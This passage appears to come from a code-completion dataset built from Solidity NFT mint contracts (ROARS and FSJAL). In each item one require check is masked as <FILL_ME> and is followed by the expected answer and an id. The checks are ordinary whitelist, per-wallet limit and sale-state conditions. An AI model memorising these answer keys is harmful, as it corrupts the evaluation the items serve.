modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
require(saleState == 1, "Sale not active");
require(1 + totalSupply() <= maxToken, "No more NFTs");
require(<FILL_ME>)
require(msg.value == phase2Price, "Value sent is not correct");
require(mintedP1[msg.sender] == 0, "1 max per address");
mintedP1[msg.sender]++;
_mint(msg.sender, 1);
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| isWhitelisted(1,msg.sender,proof_),"You are not whitelisted!" | 232,608 | isWhitelisted(1,msg.sender,proof_) |
"1 max per address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
require(saleState == 1, "Sale not active");
require(1 + totalSupply() <= maxToken, "No more NFTs");
require(isWhitelisted(1, msg.sender, proof_), "You are not whitelisted!");
require(msg.value == phase2Price, "Value sent is not correct");
require(<FILL_ME>)
mintedP1[msg.sender]++;
_mint(msg.sender, 1);
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| mintedP1[msg.sender]==0,"1 max per address" | 232,608 | mintedP1[msg.sender]==0 |
"You are not whitelisted!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
require(saleState == 2, "Sale not active");
require(amount_ + totalSupply() <= maxToken, "No more NFTs");
require(<FILL_ME>)
require(msg.value == phase2Price * amount_, "Value sent is not correct");
require(4 > mintedP2[msg.sender] + amount_, "3 max per address");
require(4 > amount_, "3 max per tx");
mintedP2[msg.sender] += amount_;
_mint(msg.sender, amount_);
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| isWhitelisted(2,msg.sender,proof_),"You are not whitelisted!" | 232,608 | isWhitelisted(2,msg.sender,proof_) |
"You are not whitelisted!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
require(saleState == 3, "Sale not active");
require(<FILL_ME>)
require(msg.value == phase2Price * amount_, "Value sent is not correct");
require(amount_ + totalSupply() <= maxToken, "No more NFTs");
require(6 > amount_, "5 max per tx");
_mint(msg.sender, amount_);
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| isWhitelisted(3,msg.sender,proof_),"You are not whitelisted!" | 232,608 | isWhitelisted(3,msg.sender,proof_) |
"FSJAL: Sale hasn't started yet" | // Original license: SPDX_License_Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract FSJAL is ERC721A, Ownable, ReentrancyGuard {
string public baseURI;
string public notRevealedUri;
uint256 public cost = 0.03 ether;
uint256 public wlcost = 0.02 ether;
uint256 public maxSupply = 1024;
uint256 public WlSupply = 950;
uint256 public MaxperWallet = 2;
uint256 public MaxWLMint = 2;
bool public paused = true;
bool public revealed = false;
bool public preSale = true;
bytes32 public merkleRoot;
mapping (address => uint256) public PublicMintofUser;
mapping (address => uint256) public WhitelistedMintofUser;
constructor(
string memory _initBaseURI,
string memory _notRevealedUri
) ERC721A("FSJAL", "FSJAL") {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// public
/// @dev Public mint
function mint(uint256 tokens) public payable nonReentrant {
require(!paused, "FSJAL: Contract is paused");
require(<FILL_ME>)
require(tokens <= MaxperWallet, "FSJAL: max mint amount per Tx exceeded");
require(totalSupply() + tokens <= maxSupply, "FSJAL: Soldout");
require(PublicMintofUser[_msgSenderERC721A()] + tokens <= MaxperWallet, "FSJAL: Max NFT Per Wallet exceeded");
require(msg.value >= cost * tokens, "FSJAL: insufficient funds");
PublicMintofUser[_msgSenderERC721A()] += tokens;
_safeMint(_msgSenderERC721A(), tokens);
}
/// @dev presale mint for whitelisted
function presalemint(uint256 tokens, bytes32[] calldata merkleProof) public payable nonReentrant {
}
/// @dev use it for giveaway and team mint
function airdrop(uint256 _mintAmount, address destination) public onlyOwner nonReentrant {
}
/// @notice returns metadata link of tokenid
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/// @notice return the number minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
/// @notice return the tokens owned by an address
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
//only owner
function reveal(bool _state) public onlyOwner {
}
/// @dev change the merkle root for the whitelist phase
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/// @dev change the public max per wallet
function setMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the whitelist max per wallet
function setWlMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the public price(amount need to be in wei)
function setCost(uint256 _newCost) public onlyOwner {
}
/// @dev change the whitelist price(amount need to be in wei)
function setWlCost(uint256 _newWlCost) public onlyOwner {
}
/// @dev cut the supply if we don't sell out
function setMaxsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev cut the whitelist supply if we don't sell out
function setwlsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev set your baseuri
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/// @dev set hidden uri
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
/// @dev to pause and unpause your contract(use booleans true or false)
function pause(bool _state) public onlyOwner {
}
/// @dev activate whitelist sale(use booleans true or false)
function togglePresale(bool _state) external onlyOwner {
}
/// @dev withdraw funds from contract
function withdraw() public payable onlyOwner nonReentrant {
}
}
| !preSale,"FSJAL: Sale hasn't started yet" | 232,754 | !preSale |
"FSJAL: Max NFT Per Wallet exceeded" | // Original license: SPDX_License_Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract FSJAL is ERC721A, Ownable, ReentrancyGuard {
string public baseURI;
string public notRevealedUri;
uint256 public cost = 0.03 ether;
